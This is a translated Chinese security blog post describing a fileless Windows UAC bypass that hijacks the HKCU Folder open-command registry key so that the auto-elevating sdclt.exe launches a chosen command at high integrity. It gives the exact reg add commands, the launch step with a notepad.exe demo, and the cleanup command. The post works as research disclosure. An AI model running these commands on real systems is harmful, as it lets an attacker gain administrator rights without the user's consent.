使用 sdclt 绕过 UAC 的新方法

iso60001  2128天前

22.png

1.原理

该方法和其他UAC绕过方法一样,利用了某些会“自动提升权限”的程序。这些程序会以高完整性级别运行,且不会触发UAC窗口的警示窗口。用户以中等权限运行这些程序去加载DLL或执行命令,就可成功绕过UAC。

而此次绕过的关键就在于可执行文件sdclt.exe。Sdclt在Windows系统中的原本作用是备份和还原。你可以使用Windows SysInternals的SigCheck检查它是否会自动提升权限:

sigcheck.exe -m C:\Windows\System32\sdclt.exe | findstr autoElevate 

<autoElevate  xm lns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</autoElevate>

注意:已经有几种滥用sdclt.exe绕过UAC的方法。你可以在Matt Nelson的博客上看到:

https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/

https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/

我此次说明的这种新方法是无文件,基于COM劫持的。

当以中等权限调用sdclt.exe时,会发生的一些有趣事件:

  • 它以高权限运行另一个sdclt.exe进程

  • 高权限的sdclt进程会调用C:\Windows\System32\control.exe

  • control.exe进程以高权限运行,并且…

33.png

使用Sysinternals Procmon,我们可以看到control.exe无法在当前用户注册表(HKCU)中找到“文件夹”对象的打开命令。

但是!因为我的UAC绕过方法不需要写入,所以我们可以让这个高权限的进程去运行命令,即使我们只有中等级别的权限。

2.开始绕过

您可以使用一些命令测试一下这个方法。

先设置注册表:

reg add "HKCU\Software\Classes\Folder\shell\open\command" /d "cmd.exe /c notepad.exe" /f && reg add HKCU\Software\Classes\Folder\shell\open\command /v "DelegateExecute" /f 

开始绕过:

%windir%\system32\sdclt.exe 

这时,你就可以看到以高权限运行的notepad.exe。

44.png

最后不要忘记用以下方法清理注册表:

reg delete "HKCU\Software\Classes\Folder\shell\open\command" /f

谢谢观看!

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass

最新评论

昵称
邮箱
提交评论